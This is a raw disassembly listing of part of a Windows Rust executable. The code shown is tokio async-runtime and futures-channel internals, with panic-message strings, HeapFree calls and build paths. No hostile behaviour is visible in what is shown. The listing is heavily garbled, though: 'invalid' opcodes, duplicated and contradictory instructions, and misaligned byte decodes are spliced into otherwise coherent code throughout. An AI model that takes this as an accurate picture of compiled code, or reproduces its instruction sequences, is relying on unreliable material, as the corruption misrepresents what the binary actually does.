lea rcx, str.called__Result::unwrap____on_an__Err__value
or eax, 0x10ae7e
lea r9, [0x14013fae8]
lea r8, [rsp + 0x60]
mov edx, 0x2b
call fcn.1401088e0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
call fcn.140108970
int3
invalid
mov dh, 0xb4
stc
dec dword [rax - 0x73]
mov es, word [rax - 0x18000000]
push 0xfffffffffffffff8
invalid
and byte [rbx + 0x5f], bl
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
add byte ss:[rax], al
add al, ch
invalid
nop
or eax, 0xbba00
add byte [rax], al
invalid
add al, ch
invalid
call fcn.140108990
mov ecx, 8
mov edx, 0x38
add byte [rax], al
add al, ch
mov al, 4
or al, byte [rax]
add byte [rax], al
add al, ch
mov al, 4
or al, byte [rax]
int3
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
leave
add dword [rcx + 0x5eac0c2], ecx
leave
add dword [rcx + 0x5eac0c2], ecx
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x140067e85
invalid
sub ebp, dword [rax - 0x7f7bf0fc]
add al, byte [rax]
add byte [rax + 0x48da7403], ch
cmp eax, 0x3f
clc
invalid
test al, 4
je 0x1400680e2
test al, 3
je 0x140067e40
cmp rax, 0x3f
clc
invalid
jbe 0x1400680fa
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
cmpxchg dword [rsi], ecx
cmpxchg dword [rsi], ecx
jne 0x140067e5a
movzx eax, dl
lea rcx, [0x140178504]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014ed10]
mov qword [rsp + 0xb0], rax
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
mov qword [rsp + 0xb8], rsi
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], 0
cmp byte [rsi + 0xa0], 3
jae 0x140068112
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140067f45
xorps xmm6, xmm6
test eax, eax
jne 0x140067f71
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e4030]
mov rbx, rcx
mov rcx, rax
call fcn.1400d4720
mov rcx, rbx
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdx, [rsp + 0xc0]
call fcn.140067d40
mov ecx, dword [0x140182314]
adc dword [rax], eax
xchg esp, eax
and al, 0xc0
add byte [rax], al
add al, ch
ret 0xfffd
adc dword [rax], eax
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
retf 0xb60f
mov dword [rax], esp
add dword [rax], eax
add byte [rax], al
retf 0xb60f
mov dh, 0x89
and byte [rcx], al
add byte [rax], al
cmp ecx, 1
je 0x140067fd2
invalid
xor eax, 0x4b75c985
test ecx, ecx
jne 0x140067fec
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
invalid
movabs dword [0x5825148b48650011], eax
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
invalid
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rdi, qword [rdx + rcx*8]
mov rdi, qword [rdx + rcx*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7c06e
mov ebx, eax
call fcn.1400d4720
mov eax, ebx
mov byte [rdi + 0x120], 1
mov ecx, dword [0x140182314]
or eax, 0x11a33c
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
invalid
add byte [rax - 0x73], cl
jle 0x140068010
lea rdi, [rsi + 0x20]
test al, al
je 0x14006808a
mov rcx, rsi
call fcn.1400e6c50
movzx eax, al
lea rcx, [0x140178514]
lea ecx, [0x140178514]
lea ecx, [0x140178514]
or eax, 0x11050a
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
invalid
invalid
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x7d], r9b
add rcx, 0x10
add ecx, 0x10
rcl dword [rax], 0x48
mov edx, esi
adc byte [rax - 0x77], cl
mov r8b, 1
mov rdx, rsi
mov r8b, 1
call fcn.1400ec490
push 0x44
or byte [rax], al
mov rax, 0xffffffffffffffc0
sar bh, 0xff
push rax
lock xadd qword [rsi], rax
lock xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
cmp rax, 0x3f
jbe 0x14006814a
and rax, 0xffffffffffffffc0
and eax, 0xffffffc0
cmp rax, 0x40
jne case.0x140067e96.2
mov rcx, rsi
call 0x140068460
jmp case.0x140067e96.2
lea rdi, [rsi + 0x20]
mov byte [rsp + 0xa0], 4
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140068530
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x48], rax
jmp 0x1400680b0
mov byte [rsp + 0xa0], 4
lea rdx, [rsp + 0x30]
mov rcx, rdi
movabs al, byte [0x24548d4804000000]
xor byte [rax - 0x77], cl
stc
call fcn.140068530
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x30], xmm0
and al, 0x30
and al, 0x30
mov qword [rsp + 0x40], 0
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0xa0], 3
lea rdx, [rsp + 0x30]
add byte [rax], al
add ecx, dword [rax - 0x73]
push rsp
and al, 0x30
mov rcx, rdi
call fcn.140068530
mov rcx, rsi
call 0x140068700
movaps xmm6, xmmword [rsp + 0xe0]
add rsp, 0xf8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014e998]
mov edx, 0x24
call fcn.140108630
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
mov edx, 0x26
call fcn.140108630
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x30]
call fcn.140108560
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
add eax, 0xe6ad8
add eax, 0xe6ad8
mov edx, 0x27
call fcn.140108630
int3
retf
push rdi
push rbx
sub rsp, 0x50
mov rsi, rdx
mov rdi, rcx
lea rdx, [rcx + 0xa8]
add byte [rax], al
add al, ch
call 0x1008a81c2
add byte [rax], al
add al, ch
call 0x1008a81c2
je 0x140068236
movzx eax, byte [rdi + 0xa0]
mov byte [rdi + 0xa0], 4
cmp al, 3
jne 0x14006823e
movups xmm0, xmmword [rdi + 0x30]
movups xmm1, xmmword [rdi + 0x40]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [rsi]
cmp rax, 2
je 0x140068225
test rax, rax
je 0x140068225
mov rdi, qword [rsi + 8]
test rdi, rdi
je 0x140068225
mov rbx, qword [rsi + 0x10]
mov rcx, rdi
adc byte [rax - 0x77], cl
stc
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140068225
cmp qword [rbx + 0x10], 0x11
jb 0x140068213
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
lea rax, str.JoinHandle_polled_after_completion
mov qword [rsp + 0x20], rax
and byte [rax - 0x39], cl
and al, 0x28
add dword [rax], eax
add byte [rax], al
and byte [rax - 0x39], cl
and al, 0x28
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x38
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x20]
call fcn.140108560
int3
adc dword [rbp - 0x16], esi
jmp 0x1400682c7
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x140068312
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400682f0
add rsp, 0xa0
pop rsi
jmp 0x140068460
nop
add rsp, 0xa0
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
mov rdx, rax
xor r8d, r8d
test dl, 3
sete r8b
or r8, rax
add eax, dword [rcx + 0xf]
xchg esp, eax
ror byte [rcx + 9], 0xc0
or r8, 0x20
lock cmpxchg qword [rcx], r8
jne 0x140068390
test dl, 3
je 0x1400683de
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x140068446
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14006843b
add rsp, 0x98
pop rdi
pop rsi
jmp 0x140068460
lea rsi, [rcx + 0x20]
mov byte [rsp + 0x90], 4
lea rdx, [rsp + 0x20]
mov rdi, rcx
mov rcx, rsi
call fcn.140068530
mov rax, qword [rdi + 0x28]
mov qword [rsp + 0x20], 1
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x38], rax
mov byte [rsp + 0x90], 3
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.140068530
mov rcx, rdi
add rsp, 0x98
pop rdi
pop rsi
jmp 0x140068700
nop
add rsp, 0x98
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x14006847d
lea rcx, [rsi + 0x20]
call fcn.140068890
lea rcx, [rsi + 0x30]
movzx eax, byte [rsi + 0xa0]
lea edx, [rax - 3]
lea r8d, [rax - 2]
xor r9d, r9d
cmp dl, 2
movzx edx, r8b
cmovae edx, r9d
cmp dl, 1
je 0x1400684b4
movzx edx, dl
test edx, edx
jne 0x1400684f0
cmp al, 2
je 0x1400684f0
call fcn.140064ab0
jmp 0x1400684f0
cmp qword [rcx], 0
je 0x1400684f0
mov rdi, qword [rsi + 0x38]
test rdi, rdi
je 0x1400684f0
mov rbx, qword [rsi + 0x40]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400684f0
cmp qword [rbx + 0x10], 0x11
jb 0x1400684de
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
clc
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0xb8]
test rax, rax
test eax, eax
test eax, eax
sal byte [rdx + rcx + 0x48], 0x8b
mov es, eax
add byte [rax], al
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
je 0x140068506
mov rcx, qword [rsi + 0xc0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
sub rsp, 0x38
movaps xmmword [rsp + 0x20], xmm6
mov rsi, rdx
mov rdi, qword [rcx + 8]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400685a2
xorps xmm6, xmm6
test eax, eax
jne 0x1400685ce
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e4030]
mov rbx, rcx
mov rcx, rax
call fcn.1400d4720
rol dword [rsi], 0
shr eax, 0x89
rol dword [rsi], 0
mov rcx, rbx
mov byte [r14 + 0x120], 1
invalid
add dword [rbx + 0x119d6c05], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rcx + 0x10]
movzx eax, byte [rcx + 0x80]
lea edx, [rax - 3]
lea r8d, [rax - 2]
xor r9d, r9d
cmp dl, 2
movzx edx, r8b
cmovae edx, r9d
cmp dl, 1
je 0x140068608
movzx ecx, dl
test ecx, ecx
jne 0x140068645
cmp al, 2
je 0x140068645
mov rcx, rdi
call fcn.140064ab0
jmp 0x140068645
cmp qword [rdi], 0
je 0x140068645
mov rbx, qword [rcx + 0x18]
test rbx, rbx
je 0x140068645
mov r14, qword [rcx + 0x20]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x140068645
cmp qword [r14 + 0x10], 0x11
jb 0x140068633
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x70]
mov qword [rdi + 0x70], rax
jo 0x140068692
mov dword [rdi + 0x70], eax
movups xmm0, xmmword [rsi + 0x60]
movups xmmword [rdi + 0x60], xmm0
movups xmm0, xmmword [rsi + 0x50]
movups xmmword [rdi + 0x50], xmm0
movups xmm0, xmmword [rsi + 0x40]
movups xmmword [rdi + 0x40], xmm0
movups xmm0, xmmword [rsi]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
movups xmm3, xmmword [rsi + 0x30]
movups xmmword [rdi + 0x30], xmm3
movups xmmword [rdi + 0x20], xmm2
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
clc
invalid
je 0x1400686d3
clc
add dword [rcx + rsi - 0x7b], esi
sal byte [rbp + 0x47], 0x8b
add eax, 0x119c68
test eax, eax
jne 0x1400686ed
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov al, pe_nt_image_headers64
add byte [rax], al
invalid
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x20], dh
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
push rsi
sub rsp, 0xd0
mov rsi, rcx
mov rax, qword [rcx]
nop
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x140068710
test al, 1
je 0x1400687b8
test al, 2
jne 0x1400687d0
test al, 8
jne 0x14006874a
lea rcx, [rsi + 0x20]
mov byte [rsp + 0xc8], 4
lea rdx, [rsp + 0x58]
call fcn.140068530
jmp 0x140068768
test al, 0x10
je 0x140068768
mov rax, qword [rsi + 0xb8]
test rax, rax
je case.0x140018f24.2174
mov rcx, qword [rsi + 0xc0]
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ec330
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x28], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x28]
jb 0x1400687e8
jne 0x1400687ae
mov rcx, rsi
add rsp, 0xd0
pop rsi
jmp 0x140068460
nop
add rsp, 0xd0
add byte [rax], al
add byte [rsi - 0x3d], bl
add byte [rax], al
add byte [rsi - 0x3d], bl
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ea18]
mov edx, 0x23
call fcn.140108630
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014ea58]
mov edx, 0x25
call fcn.140108630
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [fcn.140012cc0]
ret 0xfaa4
dec dword [rax - 0x77]
and al, 0x40
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x48], rcx
and al, 0x48
ret 0xfaa4
and al, 0x48
mov qword [rsp + 0x50], rax
lea rax, str.current:___sub:_p
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 2
lea rdx, [0x14014eaa0]
lea rcx, [rsp + 0x58]
call fcn.140108560
lea rax, str.waker_missing
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x58]
call fcn.140108560
int3
xlatb
pop rbp
invalid
int3
cmp qword [rdi + 0xc8], 0
je 0x140068948
mov r8, qword [rdi + 0xd0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rdi + 0x108]
mov r14, qword [rdi + 0x110]
test r14, r14
je 0x140068971
xor r15d, r15d
nop
mov rcx, qword [rbx + r15*8]
inc r15
call fcn.140068a30
cmp r14, r15
jne 0x140068960
cmp qword [rdi + 0x100], 0
je 0x14006898d
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi + 0x20]
test rax, rax
je 0x1400689a9
lock dec qword [rax]
jne 0x1400689a9
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
call fcn.140004950
mov rax, qword [rdi + 0x30]
test rax, rax
je 0x1400689c5
lock dec qword [rax]
jne 0x1400689c5
mov rcx, qword [rdi + 0x30]
mov rdx, qword [rdi + 0x38]
call fcn.140004950
lea rcx, [rdi + 0x118]
call fcn.1400e44b0
mov rax, qword [rdi + 0x1c8]
add byte [rax], al
add byte [rax], al
lock dec qword [rax]
jne 0x1400689ed
add rdi, 0x1c8
mov rcx, rdi
mov ecx, edi
mov ecx, edi
call fcn.1400059f0
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x140068a18
lock dec qword [r8 + 8]
jne 0x140068a18
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov r8, qword [rcx]
mov rdx, qword [r8 + 0x18]
movabs r9, 0xffffffff00000000
add dword [rcx - 0x75], ecx
push rax
sbb byte [rcx - 0x47], cl
add byte [rax], al
add byte [rax], al
mov rax, rdx
shr rax, 0x20
mov dword [rsp + 0x20], eax
mov r10d, dword [r8 + 0x20]
cmp r10d, edx
je 0x140068b09
lea r10d, [rdx + 1]
mov dword [rsp + 0x24], r10d
cmp eax, edx
jne 0x140068ad0
mov eax, r10d
mov r10, rax
shl r10, 0x20
or r10, rax
mov rax, rdx
lock cmpxchg qword [r8 + 0x18], r10
jne 0x140068af0
jmp 0x140068af5
cmp r10d, eax
je 0x140068b5d
mov eax, r10d
mov r10, rdx
and r10, r9
or r10, rax
mov rax, rdx
lock cmpxchg qword [r8 + 0x18], r10
je 0x140068af5
mov rdx, rax
jmp 0x140068a90
movzx eax, dl
mov rdx, qword [r8 + 0x10]
mov rax, qword [rdx + rax*8]
test rax, rax
jne 0x140068b92
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x140068b17
call fcn.140004be0
mov rax, qword [rsi + 8]
test rax, rax
je 0x140068b2f
lock dec qword [rax]
jne 0x140068b2f
lea rcx, [rsi + 8]
call fcn.1400048a0
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x58
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
stc
test al, al
jne 0x140068a7f
jmp 0x140068b09
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x24]
lea r8, [rsp + 0x28]
call fcn.14010dd70
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
mov rcx, rax
call fcn.1400395a0
lea rax, str.queue_not_empty
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0x28]
call fcn.140108560
int3
mov rdi, qword [rcx + 8]
movabs rax, 0x8000000000000000
cmp rdi, rax
jne 0x140068c19
mov rax, qword [rsi + 0x10]
lock dec qword [rax]
jne 0x140068c67
mov rcx, qword [rsi + 0x10]
add rsp, 0x28
invalid
sub byte [rdi + 0x5e], bl
jmp fcn.1400398e0
invalid
cmp qword [rsi + 0x28], 0
je 0x140068c33
mov r8, qword [rsi + 0x20]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test rdi, rdi
je 0x140068c4b
mov r8, qword [rsi + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x30]
lock dec qword [rax]
jne 0x140068c67
add rsi, 0x30
mov rcx, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.1400396e0
nop
add rsp, 0x28
pop rdi
pop rsi
ret
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
or ecx, 1
or ecx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x140068cd5
test al, 4
je 0x140068f2b
add byte [rax], al
add byte [rax], al
test al, 3
je 0x140068c90
cmp rax, 0x3f
jbe 0x140068f43
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x140068caa
movzx eax, dl
lea rcx, [0x140178524]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014ed10]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rsi
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], 0
cmp byte [rsi + 0xa0], 3
jae 0x140068f5b
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140068d95
xorps xmm6, xmm6
test eax, eax
jne 0x140068dc1
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e4030]
mov cl, 0xb2
invalid
add byte [rax - 0x77], cl
retf
mov rcx, rax
call fcn.1400d4720
mov rcx, rbx
mov byte [r14 + 0x120], 1
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
mov cl, 0xb2
invalid
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rdx, qword [0x58]
add byte [rax - 0x75], cl
add al, 0xc2
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
invalid
lock add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x77], cl
mov eax, 0xf8
add byte [rax], al
mov qword [rax + 0xf8], rdi
mov dword [rax + 0xf8], edi
add byte [rax], al
lea rdx, [rsp + 0xc0]
call fcn.140067d40
dec dword [rbx + 0x1195400d]
invalid
rol byte [rax], 0
add al, ch
jb case.0x14005088a.57
invalid
dec dword [rbx + 0x1195400d]
or eax, 0x119540
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
pop rax
add byte [rax], al
invalid
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
je 0x140068e22
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
test ecx, ecx
jne 0x140068e3c
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rdi, qword [rdx + rcx*8]
retf 0x8d48
invalid
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e4030]
mov ebx, eax
call fcn.1400d4720
mov eax, ebx
retf 0x8d48
mov byte [rdi + 0x120], 1
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
jle 0x140068e60
test al, al
ror byte [rdi], 0x84
mov eax, dword [rax]
add byte [rax], al
je 0x140068ed3
test byte [rbx + 0x48000000], cl
mov ecx, esi
mov rcx, rsi
call fcn.1400e6c50
movzx eax, al
invalid
fiadd word [rdi]
add byte [rdi], cl
mov dh, 0xc0
invalid
ror byte [rax - 0x73], 0xd
lea rcx, [0x140178534]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
invalid
add byte [rax + 0x63], cl
add al, 0x81
invalid
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
invalid
invalid
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x77], r9b
and byte [rax - 0x77], cl
mov rdx, rsi
call fcn.1400eaa70
bnd call fcn.1400eaa70
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140068f93
add byte [rax], al
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x140068e61.0
add byte [rax], al
add byte [rax], al
mov rcx, rsi
call 0x1400691c0
jmp case.0x140068e61.0
lea rdi, [rsi + 0x20]
mov byte [rsp + 0xa0], 4
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140068530
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 0
and al, 0x38
add byte [rax], al
add byte [rax], al
and al, 0x38
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x48], rax
and al, 0x48
jmp 0x140068ef9
mov byte [rsp + 0xa0], 4
lea rdx, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov rcx, rdi
call fcn.140068530
xorps xmm0, xmm0
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 0
mov byte [rsp + 0xa0], 3
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140068530
mov rcx, rsi
call 0x140069290
movaps xmm6, xmmword [rsp + 0xe0]
add rsp, 0xf8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014e998]
mov edx, 0x24
call fcn.140108630
invalid
add byte [rax - 0x73], cl
or eax, 0xe5d86
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
mov edx, 0x26
call fcn.140108630
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
